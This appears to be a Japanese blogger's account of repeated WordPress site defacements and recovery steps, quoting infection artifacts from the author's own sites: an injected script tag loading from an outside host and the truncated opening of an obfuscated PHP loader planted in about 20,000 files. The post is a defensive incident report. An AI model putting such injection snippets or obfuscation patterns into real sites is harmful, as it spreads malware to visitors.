ワードプレスは改ざんされるもの

ワードプレスにであって数年経ちました。2012年春までは快適でこんなに便利なものがあることに感心し、これからのWEB制作はCMSが主流になるのだろうと思っていました。

ワードプレスも以前は手動でのインストールでしたが、今ではほとんどのホスティング業者が簡単にインストールできるツールを用意して、顧客獲得を目指すほどになりました。これにより、初心者でも容易にワードプレスをインストールすることが可能になりました。6～7年前でしたら、これほどのブログはとても手が出ないほど高額でしたが、無料で無制限にインストールできます。

ブログですからWEB上で簡単に記事を書き込めます。記事も書き込めますが、悪意のあるプログラムを書き込むこともできます。初心者はワードプレスのユーザーアカウントをadmin、パスワードにはドメイン名や会社名のような簡単な設定を選びがちです。つまり、鍵のかかっていない玄関のドアのようなものです。悪意のある人間なら容易に侵入できます。

改ざん対策をしない人が改ざんされるのは自業自得ですが、トロイやウイルスをばら撒けば、他人に迷惑をかけます。

改ざんが多発する今は、Googleのウェブマスターツール、FTPチェック、ウイルスソフトを使い、毎日チェックするような人でない限り、むやみにワードプレスをインストールするのは控えるべき時期であると思います。

ロリポップのワードプレス改ざん

Hacked by Krad Xinでタイトルやフッターのコピーライトが書き換えられ、文字コードがutf-8からutf-7に変更され文字化けがおこるロリポップ改ざんから1か月以上たちましたが、未だに改ざんされたことに気付いていないサイト所有者が多数います。

今回の改ざんは一度に8000以上のページを改ざんしたことで、大きく報道されました。個人的には5サイト改ざんされていましたが、それらを見る限り トロイを仕掛けるとかテーマを破壊するような大きなダメージはなかったような気がします。

この2年半、改ざんをいろいろ経験していたので、今回もまた起きたかと思ったのが正直なところです。

ロリポップ側の設定にも問題があったようですが、共有サーバーであればどこのホスティングでも多かれ少なかれ起こりうることです。肝心なことは、どこのサーバーを使っていても、常にサーバーを移転できるようバックアップを取っておくことです。制作会社にページ制作を依頼する場合は、バックアップ体制もフォローできる制作会社を選ぶことです。

改ざんファイルをクリアしても残る問題

おそらく、Wordpressで作成されたホームページが最も改ざんされていると推察するにですが、最近のホスティングは簡単インストール機能でWordpressを容易にインストールできます。多少テーマの編集を習得すればだれでもそれなりのCMSページを作成できます。

その便利さの一方で、パーミッション755が多用されたWordpressページが無数作成されています。まるでご自由に改ざんしてくださいと言っているかのようです。

今年になり多くのホスティング会社は改ざん対策を強く求めるようになりました。特に共有サーバーが厄介です。自分のサイトに細心の注意を払って対策を施しても、同じサーバーを借りている他のユーザーが無知で改ざんされ放題であったら、そのサーバーを使用している全ユーザーがスパムサイトとして認定される場合があります。

Wordpressの改ざんの1つに、トロイの木馬を仕掛ける改ざんがあります。知らぬ間に自分のホームページが利用され、ウイルスメールが無数にばら撒かれます。 これを放っておくとメールサーバーのIPがスパムとしてブラックリストにのってしまいます。

ブラックリストにのると、送ったメールが相手に届かない現象が起こります。こうなると、ドメインを変更する、あるいはきれいなIPに変更する必要があります。場合によったら、ホスティング会社を変える必要もあるでしょう。

ホームページが改ざんされたらまず行うこと

法人でも個人でもホームページを公開している以上、改ざんに対して常に準備をしておくことが大切です。

数年前までは、ホームページの改ざんは他人事のようでしたが、この1年で異常なほど増加しています。

警視庁も警告しているように、大手企業や役所のホームページも容易に改ざんされる時代になってしまいました。

警視庁が公開している新種のウィルス対策

2か月前に改ざんされたトヨタは、未だにPDFファイルで対応しているよです。マルウェアの出所を調べてみると、韓国、北朝鮮、中国、ロシア、アメリカが多く、日本は被害国のように思えます。

さて、 ホームページの改ざん対策を行っていても、改ざんされることは十分あり得ます。改ざんされた時の対処法も考えておかなければなりません。気付かずにウィルスをまき散らしてしまったら多くの人に迷惑をかけることになります。

最新のウィルスソフトをインストールしていることを前提にまとめました。

1. FTPでサーバーにアクセスしてファイルをすべて削除する。同時に、FTPとサーバーのコントロールパネルのパスワードを複雑なものに変更する。
2. PCをウイルススキャンする。
3. バックアップデータをFTPでアップする。
4. .ftpaccessでIPアクセス制限をかける
5. ホームページが検索で「危険サイト」に認定されているが場合は、Googleのウェブマスタツールからマルウェアを除去した旨、報告する。
   ※安全が確認されたら数日で「危険サイト」は解除されます。

FTPのパスワードは複雑に

トヨタ自動車のホームページが改ざんされ、アクセスしたPCはウイルスに感染した可能性が。。。といったニュースが先月初旬に流れました。

警視庁のホームページでは、最近のホームページ改ざんが多発していることを警告しています。

以前はCMSの脆弱性が狙われていましたが、直近の改ざんはパスワードが解読される手口が多発しています。

---

7月18日に改ざんされたホームページにはfashionbagのフォルダーが作成され、その中身はＷｏｒｄｐｒｅｓｓでしたテーマは中国語で何者かがインストールしたようです。ＦＴＰによるアクセスです。

とりあえずの対応

• すべて削除して、バックアップをアップしました。
• .ftpaccessを設定して、ＩＰ制限をかけました。
• また、パスワードを英字と数字を混ぜ、10文字以上に変えました。

Wordpressの投稿記事タイトル部分が改ざん

ワードプレス、編集者モードで投稿した記事のタイトル後半部分にこの不明な記述が追加されていました。

「<script src="http://va.mu/caCS」を検索すると、多くのサイトが表示され、どうやらマルウェアのようです。多くのサイトが危険サイトになっていました。

phpファイル自体に書き込みはないようですが、タイムスタンプはあてにならないので、昨日公開されたWP3.52（改ざん対策版)にバージョンアップしようかと思いましたが、ホスティングサーバー側の仕様が古くてバージョンアップできません。

とりあえず、サーバー系のパスワードとワードプレスのパスワードを変更しました。これで様子見です。週末改ざんが行われると報告を受けましたので、もしかしたら、パスワードがハッキングされたかも???

20000ファイルが改ざん

2週間前、またホームページが改ざんされました。

今度はヘテムルサーバーにアップしていたwordpressのphpファイル、全部で約20000ファイルです。

各ファイルのヘッダー部分に下記のphpタグが埋め込まれていました。


<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework

※長いので以下省略

10日ほどでようやく削除が終わり、wordpressの動作確認を行っています。

今回の改ざんは以前の改ざんとは異なるものです。

1.
改ざんファイルのタイムスタンプが更新されていない。
2010年のファイルまで改ざんされ、しかもタイムスタンプは2010年のままです。

2.
不明の管理者がwordpressに追加されている。

3.
すべてのphpファイルに上部のタグが埋め込まれる。
※以前はindex.phpフィルが主でした。


追記
つい先日Wordpress3.52が公開されました。51から52ですが、内容は改ざん対策です。
来週、バージョンアップしようと思います。

ほぼ同じ時期にトヨタ自動車のサイトが改ざんされ、いまだにメンテナンス中です。今年になり、CMS系サイトへの改ざんは加速しています。